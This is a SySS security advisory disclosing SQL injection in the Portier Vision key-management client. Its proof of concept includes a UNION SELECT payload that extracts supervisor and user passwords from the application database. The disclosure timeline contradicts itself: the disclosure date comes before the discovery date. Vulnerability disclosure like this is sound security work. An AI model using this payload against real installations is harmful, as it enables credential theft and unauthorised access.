Portier Vision 4.4.4.2 / 4.4.4.6 - SQL Injection

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Advisory ID: SYSS-2018-012
Product: PORTIER
Affected Version(s): 4.4.4.2, 4.4.4.6
Tested Version(s): 4.4.4.2, 4.4.4.6
Vulnerability Type: SQL Injection (CWE-89)
Risk Level: HIGH
Solution Status: Open
Manufacturer Notification: 2018-06-13
Solution Date: -
Public Disclosure: 2018-01-09
CVE Reference: CVE-2019-5722
Author of Advisory: Christian Pappas, SySS GmbH

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Overview:

portier vision is a rich client application for managing door keys allocated 
to certain persons or group of persons.

The manufacturer describes the product as follows (see [1]):

"portierA(r) vision
 * manages locking systems and access rights in a modern and efficient manner
 * stores all the details for every single key
 * provides you lightning fast with all the information you need in a format 
   you choose
portier A(r)vision easy - secure - fast, our idea of software."

Due to a lack of user input validation in the parameter handling, portier is 
application wide vulnerable to various SQL injections, including the login 
form.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Vulnerability Details:

Many input fields are vulnerable to SQL injection. An SQL injection allows 
typically an attacker to execute almost arbitrary SQL commands. It is possible 
to break out of the original query with an uptick, append a custom query and 
fix the syntax.

The application supports Firebird and MS SQL database servers. Stacked queries 
do not work with both database servers. One of the vulnerable input fields is 
the user name within the login form. This allows even unauthenticated users 
to exploit the application. Because the authentication process is implemented 
in the client application, the SQL injection in the login form does not allow 
a login bypass.

The most promising real-life attack among other possible attacks is to steal 
the encrypted passwords of users with supervisor privileges. Within this 
application Supervisors have the highest privileges for administrative purpose.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Proof-of-Concept (PoC):

This proof-of-concept will exploit the vulnerability in the search form for a 
key ring number, but several other vulnerable input fields do exist. Because 
this is not a web application, most of the publicly available tools for 
exploiting SQL injections will not work out of the box.

Due to the use of plain text communication between application and database, 
server it is easy to sniff the traffic and capture the queries made by the 
application. That comes in handy for building a valid attack vector since the 
flaw is exploited manually.

Searching for the key ring number 'TRACKME', the application queries the 
database server as following:

    SELECT 
    BUND.BUND_ID, BUND.BUNDNUMMER, BUND.BESCHREIBUNG, BUND.ABTEILUNG, BUND.BEREICH, BUND.KOSTENSTELLE, DEPOT.BEZEICHNUNG as DEP_BEZEICHNUNG, BUND.BEMERKUNG_1, BUND.BEMERKUNG_2, BUND.BEMERKUNG_3
     FROM 
    BUND BUND
     LEFT OUTER JOIN DEPOT DEPOT ON DEPOT.DEPOT_ID = BUND.DEPOT_ID 
    WHERE 
     ( 1 = 1 ) 
    AND (upper(BUND.BUNDNUMMER) LIKE 'TRACKME%')

To get hold of the passwords for all supervisor users in the application, it is 
necessary to break out of the the original, inject the attack vector, and 
finally fix the SQL syntax:

    ') UNION SELECT 1,user_kz,passwort,1,1,1,1,1,1,1 FROM BENUTZER WHERE (systemuser = 1) AND ('a%' = 'a

'systemuser' within the previous shown attack vector can be replaced by '1' to 
get the passwords of all users, no matter if they have supervisor privileges 
or not. In both cases, the username will be displayed in the application next 
to their password.

The attack vector embedded in the client's query looks like the following:

    SELECT 
    BUND.BUND_ID, BUND.BUNDNUMMER, BUND.BESCHREIBUNG, BUND.ABTEILUNG, BUND.BEREICH, BUND.KOSTENSTELLE, DEPOT.BEZEICHNUNG as DEP_BEZEICHNUNG, BUND.BEMERKUNG_1, BUND.BEMERKUNG_2, BUND.BEMERKUNG_3
     FROM 
    BUND BUND
     LEFT OUTER JOIN DEPOT DEPOT ON DEPOT.DEPOT_ID = BUND.DEPOT_ID 
    WHERE 
     ( 1 = 1 ) 
    AND (upper(BUND.BUNDNUMMER) LIKE '') UNION SELECT 1,user_kz,passwort,1,1,1,1,1,1,1 FROM BENUTZER WHERE (systemuser = 1) AND ('a%' = 'a%')

The Firebird, unlike the MS SQL, database do not support UNION SELECT query if 
the entire query is terminated by an ORDER BY statement. Thus the number of 
out of the application exploitable input fields is with an MS SQL database 
slightly smaller.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Solution:

Make application wide use of prepared statements for querying the database. 
SySS GmbH is not aware of a solution to the reported security issue provided 
by the manufacturer.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclosure Timeline:

2018-05-23: Vulnerability discovered
2018-06-13: Vulnerability reported to manufacturer
2018-01-09: Public disclosure of vulnerability

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

References:

[1] Product website for PORTIER
    https://portier.de/
[2] SySS Security Advisory SYSS-2018-012
    https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2018-012.txt
[3] SySS Responsible Disclosure Policy
    https://www.syss.de/en/news/responsible-disclosure-policy/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Credits:

This security vulnerability was found by Christian Pappas of SySS GmbH.

E-Mail: [email protected]
Public Key: ://www.syss.de/fileadmin/dokumente/PGPKeys/Christian_Pappas.asc
Key ID: 0xC5D4E3BA8BA76B25
Key Fingerprint: 5655 FDBE 40DF 0CC4 F143 9877 C5D4 E3BA 8BA7 6B25

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Disclaimer:

The information provided in this security advisory is provided "as is" 
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS web
site.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Copyright:

Creative Commons - Attribution (by) - Version 3.0
URL: https://creativecommons.org/licenses/by/3.0/deed.en
-----BEGIN PGP SIGNATURE-----

iQEzBAEBCgAdFiEEVlX9vkDfDMTxQ5h3xdTjuounayUFAlw18coACgkQxdTjuoun
ayX3Ugf/QMDATk/V34U/l66+qn8zHwjL+aNq/+WlTVikCn6I3R2uU6LzXDvgmgiF
qJEVn/4McQkdHuV4trSaJp0oz0RG/aQbQQp289tbn41xIdhdWNI2Gj2qhDdqUqtG
bJYIIZ8e2TjQU33J3OJfo68eOprWyq+UJg8abgwiLuUMxlFESeSnwwkxvqSToiPl
TIg/A87exJjtpbwM7OSwxfUhr4/VGSv8UTp3v6a+9fiA2G1HBMmT3zOuy882V2QP
D1gr6/lB9J7gTiGLgB1fWtL0BtmBTivtOylc/FVnKiqSzt7v2MwoBzLEc3HsA2mY
rAIgS1s9cBfoPIkvRHzV8WHyr+CyAA==
=q3CM
-----END PGP SIGNATURE-----